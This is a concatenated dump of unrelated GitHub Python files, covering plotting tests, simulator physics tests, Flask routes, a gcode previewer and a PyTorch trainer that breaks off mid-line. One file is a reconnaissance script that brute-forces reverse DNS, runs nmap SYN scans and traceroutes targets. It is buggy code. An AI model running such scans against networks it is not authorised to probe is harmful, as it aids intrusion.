dx = 0.5 - x\n dy = 0.5 - y\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n ax.set_ternary_min(-0.2, -0.2, -0.2)\n ax.quiver(x, y, dx, dy, transform=ax.transAxes)\n\n\nclass TestFill:\n \"\"\"Test `fill`\"\"\"\n @check_figures_equal(extensions=('pdf',), tol=1.0)\n def test_fill(self, fig_test, fig_ref):\n \"\"\"Test if `fill` gives the expected result.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n tn0 = [1, 0, 0]\n tn1 = [0, 1, 0]\n tn2 = [0, 0, 1]\n ax.fill(tn0, tn1, tn2, \"b\")\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.set_fc(\"b\")\n\n @check_figures_equal(extensions=('pdf',), tol=1.0)\n def test_data(self, fig_test, fig_ref):\n \"\"\"Test if `data` in `fill` works correctly.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n tn0 = [1, 0, 0]\n tn1 = [0, 1, 0]\n tn2 = [0, 0, 1]\n ax.fill(\"t\", \"l\", \"r\", \"b\", data={\"t\": tn0, \"l\": tn1, \"r\": tn2})\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.fill(tn0, tn1, tn2, \"b\")\n\n\n@check_figures_equal(extensions=('pdf',), tol=1.0)\ndef test_tripcolor(fig_test, fig_ref):\n \"\"\"Test if `tripcolor` gives the expected result.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n tn0 = [1, 0, 0]\n tn1 = [0, 1, 0]\n tn2 = [0, 0, 1]\n ax.tripcolor(tn0, tn1, tn2, [0, 0, 0], vmin=0.0, vmax=1.0, cmap=\"bwr\")\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.set_fc(\"b\")\n\n\n@mpl.style.context(\"default\")\n@check_figures_equal(extensions=('pdf',), tol=1.0)\ndef test_triplot(fig_test, fig_ref):\n \"\"\"Test if `triplot` gives the expected result.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n tn0, tn1, tn2 = get_triangular_grid(n=6)\n color = plt.rcParams[\"grid.color\"]\n linestyle = plt.rcParams[\"grid.linestyle\"]\n linewidth = plt.rcParams[\"grid.linewidth\"]\n ax.triplot(\n tn0,\n tn1,\n tn2,\n color=color,\n linestyle=linestyle,\n linewidth=linewidth,\n )\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n # `zorder` of ticks and grid lines may be the same and uncontrollable.\n ax.grid(axis=\"both\")\n\n\n@check_figures_equal(extensions=('pdf',))\ndef test_grid_both(fig_test, fig_ref):\n \"\"\"Test if `grid(\"both\")` gives the expected result.\"\"\"\n ax = fig_test.add_subplot(projection=\"ternary\")\n ax.grid(axis=\"both\")\n\n ax = fig_ref.add_subplot(projection=\"ternary\")\n ax.grid(axis=\"t\")\n ax.grid(axis=\"l\")\n ax.grid(axis=\"r\")\n\n\n@image_comparison(baseline_images=['legend'], extensions=['pdf'],\n tol=0.3, style='mpl20')\ndef test_legend():\n \"\"\"Test if the legend is plotted correctly.\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(projection='ternary')\n\n for seed in [1, 9, 6, 8]:\n ax.scatter(*get_scatter_points(11, seed=seed), alpha=0.5, label=seed)\n\n ax.legend()\n\n\nclass TestSignature:\n \"\"\"Test signatures of methods.\"\"\"\n methods = [\n \"text\",\n \"plot\",\n \"scatter\",\n \"arrow\",\n \"quiver\",\n \"fill\",\n \"tricontour\",\n \"tricontourf\",\n \"tripcolor\",\n \"triplot\",\n ]\n\n @pytest.mark.parametrize(\"method\", methods)\n def test_signature(self, method):\n \"\"\"Test if the signature of the method is the same as the original.\"\"\"\n fig = plt.figure()\n ax_test = fig.add_subplot(projection=\"ternary\")\n ax_ref = fig.add_subplot()\n signature_test = inspect.signature(getattr(ax_test, method))\n signature_ref = inspect.signature(getattr(ax_ref, method))\n assert signature_test == signature_ref\n","repo_name":"yuzie007/mpltern","sub_path":"tests/test_ternary.py","file_name":"test_ternary.py","file_ext":"py","file_size_in_byte":28621,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"78"} +{"seq_id":"72293827773","text":"import os.path as osp\nimport random\n\nimport numpy as np\nimport pytest\nimport quaternion\n\nimport examples.settings\nimport habitat_sim.physics\nfrom habitat_sim.utils.common import (\n quat_from_angle_axis,\n quat_from_magnum,\n quat_to_magnum,\n)\n\n\n@pytest.mark.skipif(\n not osp.exists(\"data/scene_datasets/habitat-test-scenes/skokloster-castle.glb\")\n or not osp.exists(\"data/objects/\"),\n reason=\"Requires the habitat-test-scenes and habitat test objects\",\n)\ndef test_kinematics(sim):\n cfg_settings = examples.settings.default_sim_settings.copy()\n\n cfg_settings[\n \"scene\"\n ] = \"data/scene_datasets/habitat-test-scenes/skokloster-castle.glb\"\n # enable the physics simulator: also clears available actions to no-op\n cfg_settings[\"enable_physics\"] = True\n cfg_settings[\"depth_sensor\"] = True\n\n # test loading the physical scene\n hab_cfg = examples.settings.make_cfg(cfg_settings)\n sim.reconfigure(hab_cfg)\n assert sim.get_physics_object_library_size() > 0\n\n # test adding an object to the world\n object_id = sim.add_object(0)\n assert len(sim.get_existing_object_ids()) > 0\n\n # test setting the motion type\n\n assert sim.set_object_motion_type(habitat_sim.physics.MotionType.STATIC, object_id)\n assert (\n sim.get_object_motion_type(object_id) == habitat_sim.physics.MotionType.STATIC\n )\n assert sim.set_object_motion_type(\n habitat_sim.physics.MotionType.KINEMATIC, object_id\n )\n assert (\n sim.get_object_motion_type(object_id)\n == habitat_sim.physics.MotionType.KINEMATIC\n )\n\n # test kinematics\n I = np.identity(4)\n\n # test get and set translation\n sim.set_translation(np.array([0, 1.0, 0]), object_id)\n assert np.allclose(sim.get_translation(object_id), np.array([0, 1.0, 0]))\n\n # test get and set transform\n sim.set_transformation(I, object_id)\n assert np.allclose(sim.get_transformation(object_id), I)\n\n # test get and set rotation\n Q = quat_from_angle_axis(np.pi, np.array([0, 1.0, 0]))\n expected = np.eye(4)\n expected[0:3, 0:3] = quaternion.as_rotation_matrix(Q)\n sim.set_rotation(quat_to_magnum(Q), object_id)\n assert np.allclose(sim.get_transformation(object_id), expected)\n assert np.allclose(quat_from_magnum(sim.get_rotation(object_id)), Q)\n\n # test object removal\n old_object_id = sim.remove_object(object_id)\n assert len(sim.get_existing_object_ids()) == 0\n\n object_id = sim.add_object(0)\n\n prev_time = 0.0\n for _ in range(2):\n # do some kinematics here (todo: translating or rotating instead of absolute)\n sim.set_translation(np.random.rand(3), object_id)\n T = sim.get_transformation(object_id)\n\n # test getting observation\n obs = sim.step(random.choice(list(hab_cfg.agents[0].action_space.keys())))\n\n # check that time is increasing in the world\n assert sim.get_world_time() > prev_time\n prev_time = sim.get_world_time()\n\n sim.remove_object(object_id)\n\n # test attaching/dettaching an Agent to/from physics simulation\n agent_node = sim.agents[0].scene_node\n sim.add_object(0, agent_node)\n sim.set_translation(np.random.rand(3), object_id)\n assert np.allclose(agent_node.translation, sim.get_translation(object_id))\n sim.remove_object(object_id, False) # don't delete the agent's node\n assert agent_node.translation\n\n\n@pytest.mark.skipif(\n not osp.exists(\"data/scene_datasets/habitat-test-scenes/skokloster-castle.glb\")\n or not osp.exists(\"data/objects/\"),\n reason=\"Requires the habitat-test-scenes and habitat test objects\",\n)\ndef test_dynamics(sim):\n # This test assumes that default.phys_scene_config.json contains \"physics simulator\": \"bullet\".\n # TODO: enable dynamic override of this setting in simulation config structure\n\n cfg_settings = examples.settings.default_sim_settings.copy()\n\n cfg_settings[\n \"scene\"\n ] = \"data/scene_datasets/habitat-test-scenes/skokloster-castle.glb\"\n # enable the physics simulator: also clears available actions to no-op\n cfg_settings[\"enable_physics\"] = True\n cfg_settings[\"depth_sensor\"] = True\n\n # test loading the physical scene\n hab_cfg = examples.settings.make_cfg(cfg_settings)\n sim.reconfigure(hab_cfg)\n # make the simulation deterministic (C++ seed is set in reconfigure)\n np.random.seed(cfg_settings[\"seed\"])\n assert sim.get_physics_object_library_size() > 0\n\n # test adding an object to the world\n object_id = sim.add_object(0)\n object2_id = sim.add_object(0)\n assert len(sim.get_existing_object_ids()) > 0\n\n # place the objects over the table in room\n sim.set_translation(np.array([-0.569043, 2.04804, 13.6156]), object_id)\n sim.set_translation(np.array([-0.569043, 2.04804, 12.6156]), object2_id)\n\n # get object MotionType and continue testing if MotionType::DYNAMIC (implies a physics implementation is active)\n if sim.get_object_motion_type(object_id) == habitat_sim.physics.MotionType.DYNAMIC:\n previous_object_states = [\n [sim.get_translation(object_id), sim.get_rotation(object_id)],\n [sim.get_translation(object2_id), sim.get_rotation(object2_id)],\n ]\n prev_time = 0.0\n for _ in range(50):\n # force application at a location other than the origin should always cause angular and linear motion\n sim.apply_force(np.random.rand(3), np.random.rand(3), object2_id)\n\n # TODO: expose object properties (such as mass) to python\n # Counter the force of gravity on the object (it should not translate)\n obj_mass = 0.5\n sim.apply_force(np.array([0, obj_mass * 9.8, 0]), np.zeros(3), object_id)\n\n # apply torque to the \"floating\" object. It should rotate, but not translate\n sim.apply_torque(np.random.rand(3), object_id)\n\n # TODO: test other physics functions\n\n # test getting observation\n obs = sim.step(random.choice(list(hab_cfg.agents[0].action_space.keys())))\n\n # check that time is increasing in the world\n assert sim.get_world_time() > prev_time\n prev_time = sim.get_world_time()\n\n # check the object states\n # 1st object should rotate, but not translate\n assert previous_object_states[0][0] == sim.get_translation(object_id)\n assert previous_object_states[0][1] != sim.get_rotation(object_id)\n\n # 2nd object should rotate and translate\n assert previous_object_states[1][0] != sim.get_translation(object2_id)\n assert previous_object_states[1][1] != sim.get_rotation(object2_id)\n\n previous_object_states = [\n [sim.get_translation(object_id), sim.get_rotation(object_id)],\n [sim.get_translation(object2_id), sim.get_rotation(object2_id)],\n ]\n\n # test setting DYNAMIC object to KINEMATIC\n assert sim.set_object_motion_type(\n habitat_sim.physics.MotionType.KINEMATIC, object2_id\n )\n assert (\n sim.get_object_motion_type(object2_id)\n == habitat_sim.physics.MotionType.KINEMATIC\n )\n\n obs = sim.step(random.choice(list(hab_cfg.agents[0].action_space.keys())))\n\n # 2nd object should no longer rotate or translate\n assert previous_object_states[1][0] == sim.get_translation(object2_id)\n assert previous_object_states[1][1] == sim.get_rotation(object2_id)\n","repo_name":"lucivpav/habitat-sim","sub_path":"tests/test_physics.py","file_name":"test_physics.py","file_ext":"py","file_size_in_byte":7475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72709130493","text":"import numpy as np\nimport random\n\nfrom .common import create_noise_adder\nfrom .sparse_clustered_time_generating_seeds import wrap_seed_generator_w_duration\n\n\n# seeds\n\n\ndef random_noise_seed(length, input_size, scaler=0.5, batch_size=16):\n return np.random.normal(size=(batch_size, length, input_size)) * scaler\n\n\ndef zero_seed(length, input_size, word_vectors, batch_size=16):\n zero_vector = word_vectors['']\n return np.tile(zero_vector, (batch_size, length, 1))\n\n\ndef const_frame_seed(length, input_size, word_vectors, batch_size=16):\n \"\"\"\n assumed length is 1\n \"\"\"\n res = zero_seed(1, input_size, word_vectors, batch_size)\n for i in range(batch_size):\n note = word_vectors[random.choice(\n list(word_vectors.vocab.keys()))]\n res[i, :, :] = note\n\n return res\n\n\ndef multi_note_seed(length, input_size, word_vectors, batch_size=16):\n res = np.zeros((batch_size, length, input_size))\n for j in range(batch_size):\n notes_keys = random.sample(list(word_vectors.vocab.keys()), length)\n notes = [word_vectors[n] for n in notes_keys]\n res[j, :, :] = notes\n\n return res\n\n\ndef multi_note_harmonic_seed(length, input_size, word_vectors, batch_size=16):\n res = np.zeros((batch_size, length, input_size))\n for j in range(batch_size):\n base_note_key = random.choice(\n list(word_vectors.vocab.keys()))\n similar_notes_keys = [name for name, _ in word_vectors.similar_by_word(\n base_note_key, topn=length - 1)]\n notes_keys = [base_note_key, *similar_notes_keys]\n notes = [word_vectors[k] for k in notes_keys]\n random.shuffle(notes)\n res[j, :, :] = notes\n\n return res\n\n\nrandom_noise_adder = create_noise_adder(random_noise_seed)\n\n# refer to artifacts/embedded_seed_generators.json\n\n\ndef get_seed_generators(duration_dict, ignore_shortest=True):\n wrapper = wrap_seed_generator_w_duration(duration_dict, ignore_shortest)\n\n return {\n \"random_noise_seed\": wrapper(random_noise_seed),\n \"zero_seed\": wrapper(zero_seed),\n \"const_frame_seed\": wrapper(const_frame_seed),\n \"multi_note_seed\": wrapper(multi_note_seed),\n \"multi_note_harmonic_seed\": wrapper(multi_note_harmonic_seed),\n \"const_frame_seed_noise\": wrapper(random_noise_adder(const_frame_seed)),\n \"multi_note_seed_noise\": wrapper(random_noise_adder(multi_note_seed)),\n \"multi_note_harmonic_seed_noise\": wrapper(random_noise_adder(multi_note_harmonic_seed)),\n }\n","repo_name":"GrzegorzKazana/artificial-music","sub_path":"src/generating/embedded_clustered_time_generating_seeds.py","file_name":"embedded_clustered_time_generating_seeds.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70662163133","text":"from . import (\n Blueprint, \n request, \n current_app, \n ProductServices\n)\n\nbp_products = Blueprint(\n 'products_view', \n __name__, \n url_prefix='/products'\n )\n\n@bp_products.route('/', methods=['POST'])\ndef create_product(author_id):\n session = current_app.db.session\n product = request.get_json()\n\n return ProductServices(\n session\n ).create_book(product, author_id)\n\n\n@bp_products.route('/', methods=['GET'])\ndef get_products():\n session = current_app.db.session\n \n return ProductServices(\n session\n ).get_all_products(request)\n\n\n@bp_products.route('/', methods=['GET'])\ndef get_product_by_id(product_id):\n session = current_app.db.session\n\n return ProductServices(\n session\n ).get_product_by_id(product_id)\n\n\n@bp_products.route('/', methods=['DELETE'])\ndef delete_product_by_id(product_id):\n session = current_app.db.session\n\n return ProductServices(\n session\n ).delete_product(product_id)\n\n\n@bp_products.route('/', methods=['PATCH', 'PUT'])\ndef patch_product(product_id):\n session = current_app.db.session\n data = request.get_json()\n\n return ProductServices(\n session\n ).patch_product(product_id, data)\n","repo_name":"diegopires1992/digitabook-Flask","sub_path":"app/views/products_view.py","file_name":"products_view.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4291649497","text":"from flask import Blueprint, render_template, request, redirect\nimport random, json\nfrom setuptools.sandbox import _file\nfrom noteapp.views.sources import average\n\nbp = Blueprint(__name__, __name__, template_folder='templates')\n\ndef random_string(length=16):\n final_string = ''\n chars = \"abcdefghijklmnopqrstuvwxyz0123456789\"\n for i in range (0, length):\n final_string += chars[random.randint(0, len(chars)-1)]\n \n return final_string\n\n# print(random_string(16))\n\n@bp.route('/createdata', methods=['POST', 'GET']) #this will appear as the web address\ndef show():\n if request.method == 'POST':\n if request.form.get('createdata'):\n text = request.form.get('mass')\n text01 = request.form.get('acceleration')\n text02 = average([1,2,3,4,5,6,7,8])\n datad = dict()\n datad['mass'] = text\n datad['acceleration'] = text01\n datad['force'] = float(text) * float(text01)\n datad['average'] = text02\n datad = json.dumps(datad)\n datapath = '/Users/apple/Dropbox/My Programming/Python/Notes/Web Apps/noteapp/noteapp/database/{}.pyqum'.format(\n random_string())\n with open(datapath, 'wb') as _file:\n _file.write(bytes(datad, 'utf8'))\n _file.close()\n return redirect('/')\n\n return render_template('createdata.html') #this is where it really goes\n","repo_name":"takehuge/Notes","sub_path":"Web Apps/noteapp/noteapp/views/createdata.py","file_name":"createdata.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36917642746","text":"\"\"\"gcodepreview tool.\"\"\"\n\nimport argparse\nimport os.path\nimport sys\nfrom os import environ\n\nfrom PIL import Image, ImageDraw, ImageFont\n\nfrom viaconstructor.preview_plugins.gcode import GcodeParser\n\n\ndef main() -> int:\n \"\"\"main function.\"\"\"\n\n def draw_line(p_1, p_2, fast=False, color=None):\n \"\"\"drawing function.\"\"\"\n p_from = (\n offset_x + (p_1[\"X\"] - minmax[0]) * scale,\n screen_height - (offset_y + (p_1[\"Y\"] - minmax[1]) * scale),\n )\n p_to = (\n offset_x + (p_2[\"X\"] - minmax[0]) * scale,\n screen_height - (offset_y + (p_2[\"Y\"] - minmax[1]) * scale),\n )\n if not color:\n if p_2[\"Z\"] <= 0.0 and fast:\n color = (255, 0, 0)\n if p_1[\"Z\"] > 0.0 and p_2[\"Z\"] > 0.0:\n color = (0, 255, 0)\n else:\n color = (200, 200, 255)\n draw.line(p_from + p_to, fill=color)\n\n # arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"filename\", help=\"gcode file\", type=str)\n parser.add_argument(\"-x\", \"--width\", help=\"screen width\", type=int, default=800)\n parser.add_argument(\"-y\", \"--height\", help=\"screen height\", type=int, default=600)\n parser.add_argument(\"-o\", \"--output\", help=\"save to image\", type=str, default=None)\n args = parser.parse_args()\n\n # setup\n filename = args.filename\n screen_width = args.width\n screen_height = args.height\n screen_color = (0, 0, 0)\n offset_x = 10\n offset_y = 10\n\n # parse gcode\n if not os.path.isfile(filename):\n print(\"file not found:\", filename)\n sys.exit(1)\n gcode = open(filename, \"r\").read()\n gcode_parser = GcodeParser(gcode)\n minmax = gcode_parser.get_minmax()\n size = gcode_parser.get_size()\n\n # calc scale\n scale_x = (screen_width - 10) / size[0]\n scale_y = (screen_height - 10) / size[1]\n scale = min(scale_x, scale_y)\n\n offset_x = (screen_width - (size[0] * scale)) / 2.0\n offset_y = (screen_height - (size[1] * scale)) / 2.0\n\n # init output\n out = Image.new(\"RGB\", (screen_width, screen_height), screen_color)\n fnt = ImageFont.truetype(\"FreeMono.ttf\", 24)\n draw = ImageDraw.Draw(out)\n\n # draw grid\n for pos_x in range(0, int(size[0]), 10):\n draw_line(\n {\"X\": pos_x, \"Y\": 0.0}, {\"X\": pos_x, \"Y\": size[1]}, color=(27, 27, 27)\n )\n for pos_y in range(0, int(size[1]), 10):\n draw_line(\n {\"X\": 0.0, \"Y\": pos_y}, {\"X\": size[0], \"Y\": pos_y}, color=(27, 27, 27)\n )\n\n # draw path\n gcode_parser.draw(draw_line)\n\n # draw info\n if screen_width >= 320 or screen_height >= 240:\n info = f\"W={round(size[0], 2)}\\nH={round(size[1], 2)}\\nminZ={minmax[2]}\"\n draw.multiline_text((5, 5), info, font=fnt, fill=(255, 255, 255))\n\n if args.output:\n # save to image\n out.save(args.output)\n else:\n # display with pygame\n environ[\"PYGAME_HIDE_SUPPORT_PROMPT\"] = \"1\"\n import pygame # pylint: disable=C0415\n from pygame.locals import QUIT # pylint: disable=C0415,E0611\n\n pygame.init() # pylint: disable=E1101\n pygame.display.set_caption(f\"gcodepreview ({filename})\")\n screen = pygame.display.set_mode((screen_width, screen_height))\n screen.blit(\n pygame.image.fromstring(out.tobytes(), out.size, out.mode).convert(), (0, 0)\n )\n pygame.display.flip()\n while True:\n for events in pygame.event.get():\n if events.type == QUIT:\n return 0\n\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"multigcs/viaconstructor","sub_path":"gcodepreview/gcodepreview.py","file_name":"gcodepreview.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"78"} +{"seq_id":"14097797155","text":"import subprocess\nimport networkx as nx\nimport socket\nimport sys\nimport os\nimport re\nimport getopt\nimport json\nimport datetime\nimport pprint\n\nimport scapy\nfrom scapy.all import *\n\nimport matplotlib\n# matplotlib.use('TKAgg')\nimport matplotlib.pyplot as plt\n\nimport pymongo\nfrom pymongo import MongoClient\n\n# Needs mongodb to store targets as dictionaries'\ndef setup_db():\n try:\n dbconn = MongoClient()\n except:\n print ('Could not connect to db, make sure you started mongo')\n try:\n db = dbconn.test\n except:\n print ('Could not get the pentest database')\n try:\n collection = db.targets\n except:\n print ('Could not get the collection of targets')\n return collection\n\n# Retruns all targets stored in the database\ndef get_all_targets():\n for t in coll.find():\n pprint.pprint(t,indent=4)\n\nclass target():\n def __init__(self,ip,coll=None):\n self.target={}\n self.ip=ip[0]\n self.target['hostname']=ip[1]\n self.collection=coll\n\n def __str__(self):\n return json.dumps(self.target,sort_keys=True,indent=4)\n\t\n def make_target(self):\n self.target_ip()\n self.port_scanned()\n self.traceroute()\n self.target['Timestamp']=str(datetime.datetime.utcnow())\n self.collection.insert(self.target)\n\n def target_ip(self):\n self.target['ip']=self.ip\n\n def port_scanned(self):\n ports=nmap_scan(self.ip)\n self.target['ports']=ports\n\n def traceroute(self):\n hops=scapytraceroute(self.ip)\n self.target['traceroute']=hops\n\n def bruteforce_reversedns(base_ip):\n ip_list=[]\n for i in range(255):\n try:\n (hostname,alias,ip)=socket.gethostbyaddr(base_ip+str(i))\n ip_list.append((ip[0],hostname))\n except:\n pass\n return ip_list\n\n def nmap_scan(host):\n ports = []\n cmd = 'sudo nmap -Pn -sS ' + host\n print ('Scanning: ') + cmd\n p=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)\n (pout,perr)=p.communicate()\n foobar=re.compile('tcp')\n for line in pout.split('\\n'):\n if foobar.search(line):\n print (line)\n ports.append(line)\n return ports\n\n def localtraceroute(host,num_hops):\n hops=[]\n trace='traceroute -m %d %s' % (num_hops,host)\n print (trace)\n res=subprocess.Popen(trace,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)\n (pstdout,psterr)=res.communicate()\n lines=pstdout.split('\\n')\n for line in lines[:num_hops]:\n hops.append(line.split(' ')[num_hops-1].rstrip(')').lstrip('('))\n return hops\n\n def scapytraceroute(host):\n hops=[]\n try:\n res,unans=traceroute(host)\n except:\n print ('Could not trace route with scapy !')\n return hops\n host_key=res.get_trace().keys()[0]\n for key in res.get_trace()[host_key].keys():\n hops.append(res.get_trace()[host_key][key][0])\n return hops\n\n def traceroute_plot(targets):\n g=nx.Graph()\n source=socket.gethostbyname(socket.gethostname())\n for t in targets:\n hops=scapytraceroute(t)\n print (hops)\n g.add_node(t)\n g.add_edge(source,hops[0])\n if len(hops) >= 1:\n for hop in hops:\n next_hop_index=hops.index(hop)+1\n if next_hop_index != len(hops):\n g.add_edge(hop,hops[next_hop_index])\n else:\n g.add_edge(hop,t)\n nx.draw(g,with_labels=False)\n plt.savefig(\"/var/tmp/trace.png\")\n nx.write_dot(g,\"/var/tmp/trace.dot\")\n\n def traceroute_plot_from_db(targets):\n g=nx.Graph()\n source=socket.gethostbyname(socket.gethostname())\n for t in targets:\n hops=t['traceroute']\n print (hops)\n g.add_node(t['ip'])\n g.add_edge(source,hops[0])\n if len(hops) >= 1:\n for hop in hops:\n next_hop_index=hops.index(hop)+1\n if next_hop_index != len(hops):\n g.add_edge(hop,hops[next_hop_index])\n else:\n g.add_edge(hop,t['ip'])\n nx.draw(g,with_labels=False)\n plt.savefig(\"/var/tmp/trace.png\") \n nx.write_dot(g,\"/var/tmp/trace.dot\")\n\n def main():\n targets=[]\n try:\n fh=open(targets_file,'r')\n except:\n print ('targets.list file not present')\n sys.exit()\n for line in fh.readlines():\n targets.append(line.strip('\\n'))\n traceroute_plot(targets)\n\t\n def readopt():\n try:\n options, remainder = getopt.getopt(sys.argv[1:],'b:s:t:f:')\n except getopt.GetoptError as err:\n print ('option error.')\n usage()\n sys.exit(2)\n global base_ip,host_to_scan,host_to_traceroute,targets_file\n base_ip = '0.0.0.0'\n host_to_scan = '1.1.1.1'\n host_to_traceroute = '1.1.1.1'\n targets_file = 'targets.list'\n for opt, arg in options:\n if opt == '-b':\n base_ip = arg\n elif opt == '-s':\n host_to_scan = arg\n elif opt == '-t':\n host_to_traceroute == arg\n elif opt == '-f':\n targets_file == arg\n else:\n usage()\n sys.exit(2)\n\n def usage():\n print ('This code plots the traceroute to a set of hosts')\n\nif __name__==\"__main__\":\n # readopt()\n # sys.exit(main())\n targets = target()\n targets.main()\nelse:\n print ('The db setup will called and can be refered as trace.coll() in an interactive shell')\n coll = setup_db()\n","repo_name":"EndlessPancake/higadocker7jpw","sub_path":"python/trace/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42376075076","text":"import logging\nfrom pyramid.authorization import ACLAuthorizationPolicy\nfrom pyramid.config import Configurator\n\nlog = logging.getLogger(__name__)\n\n\ndef main(global_config, **settings):\n \"\"\" This function returns a Pyramid WSGI application.\n \"\"\"\n config = Configurator(settings=settings, authorization_policy=ACLAuthorizationPolicy())\n config.include(\".models\")\n config.include(\"restalchemy\")\n config.include(\"restalchemy.auth\")\n config.set_authenticate_function(\"{{cookiecutter.repo_name}}.auth.authenticate\")\n config.set_get_model_function(\"{{cookiecutter.repo_name}}.utils.get_model\")\n config.scan()\n return config.make_wsgi_app()\n","repo_name":"restalchemy/cookiecutter-restalchemy","sub_path":"{{cookiecutter.repo_name}}/{{cookiecutter.repo_name}}/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"17100487997","text":"from json import dump, loads\nfrom os import remove, path as ospath, makedirs\nimport shutil\n\n\ndef delete_path(path):\n if ospath.exists(path):\n if ospath.isdir(path):\n shutil.rmtree(path)\n else:\n remove(path)\n\n\ndef create_dir(path: str):\n if not ospath.exists(f'{path}'):\n makedirs(f'{path}')\n\n\ndef write_to_json(data: dict | list, path: str):\n with open(path, 'w', encoding='utf8') as file:\n dump(data, file, indent=3, ensure_ascii=False)\n\n\ndef read_from_json(path: str, is_file=True) -> dict | list:\n if is_file:\n with open(path, 'r', encoding='utf8') as file:\n data = loads(file.read())\n else:\n data = loads(path)\n return data\n\n\ndef update_json(data: dict | list, path: str):\n try:\n old_data = read_from_json(path)\n except Exception:\n old_data = None\n if old_data and type(old_data) == type(data) == dict:\n data.update(old_data)\n elif old_data and type(old_data) == type(data) == list:\n data += old_data\n write_to_json(data, path)\n","repo_name":"Wyndace/WynScrape","sub_path":"app/tools/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"11843071304","text":"def max_num_in_list(list):\n max = list[0]\n for a in list:\n if a > max:\n max = a\n return max\ndef flatten_nested_list(nested_lst):\n return [item for sublist in nested_lst for item in sublist]\na = eval(input())\nflat_a = flatten_nested_list(a)\nprint(*flat_a)\nprint(max_num_in_list(flat_a))","repo_name":"namhainguyen2803/Introduction-to-Programming-HUST","sub_path":"Homework/Review homework/ex51.py","file_name":"ex51.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12880806050","text":"from copy import deepcopy\n\nimport numpy as np\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n# Training 하는 부분으로 miniBatch에 따라 반복\nclass Trainer():\n\n def __init__(self, model, optimizer, crit):\n self.model = model\n self.optimizer = optimizer\n self.crit = crit\n\n super().__init__()\n\n def _train(self, x, y, config):\n self.model.train() # 모드 중요\n\n # Shuffle before begin.\n indices = torch.randperm(x.size(0), device=x.device)\n x = torch.index_select(x, dim=0, index=indices).split(config.batch_size, dim=0)\n # index_select ( input , dim , index , * , out = None ) : input차원을 따라 텐서를 인덱싱하는 새 텐서를 반환\n y = torch.index_select(y, dim=0, index=indices).split(config.batch_size, dim=0)\n\n total_loss = 0\n\n for i, (x_i, y_i) in enumerate(zip(x, y)):\n y_hat_i = self.model(x_i) # Yi = f(Xi)\n \n # crit : __init__에서 미리 할당 ( == Cross entropy == (bs, ) )\n loss_i = self.crit(y_hat_i, y_i.squeeze()) # i번째 loss\n\n # Initialize the gradients of the model.\n self.optimizer.zero_grad()\n loss_i.backward()\n\n # optimizer : __init__에서 미리 할당\n self.optimizer.step()\n\n if config.verbose >= 2:\n print(\"Train Iteration(%d/%d): loss=%.4e\" % (i + 1, len(x), float(loss_i)))\n\n # Don't forget to detach to prevent memory leak.\n # loss_i = Tensor => float안하고 더하면 Tensor들을 더하는 것이기 때문에 메모리 발생\n total_loss += float(loss_i)\n\n return total_loss / len(x)\n\n def _validate(self, x, y, config):\n # Turn evaluation mode on.\n self.model.eval()\n\n # Turn on the no_grad mode to make more efficintly.\n with torch.no_grad():\n # Shuffle before begin.\n indices = torch.randperm(x.size(0), device=x.device)\n x = torch.index_select(x, dim=0, index=indices).split(config.batch_size, dim=0)\n y = torch.index_select(y, dim=0, index=indices).split(config.batch_size, dim=0)\n\n total_loss = 0\n\n for i, (x_i, y_i) in enumerate(zip(x, y)):\n y_hat_i = self.model(x_i)\n loss_i = self.crit(y_hat_i, y_i.squeeze())\n\n if config.verbose >= 2:\n print(\"Valid Iteration(%d/%d): loss=%.4e\" % (i + 1, len(x), float(loss_i)))\n\n total_loss += float(loss_i)\n\n return total_loss / len(x)\n\n# 학습 시작시,train_data / valid_data 가져온다\n# train_data : 2차원 tensor =>\n# ex. mnist : |valid_data| == |train_data| = [ (bs, 784), ... ] 리스트형태\n\n def train(self, train_data, valid_data, config):\n lowest_loss = np.inf\n best_model = None\n\n for epoch_index in range(config.n_epochs):\n train_loss = self._train(train_data[0], train_data[1], config) # 평균\n valid_loss = self._validate(valid_data[0], valid_data[1], config) # 평균\n\n # You must use deep copy to take a snapshot of current best weights.\n if valid_loss <= lowest_loss:\n lowest_loss = valid_loss\n best_model = deepcopy(self.model.state_dict())\n\n print(\"Epoch(%d/%d): train_loss=%.4e valid_loss=%.4e lowest_loss=%.4e\" % (\n epoch_index + 1,\n 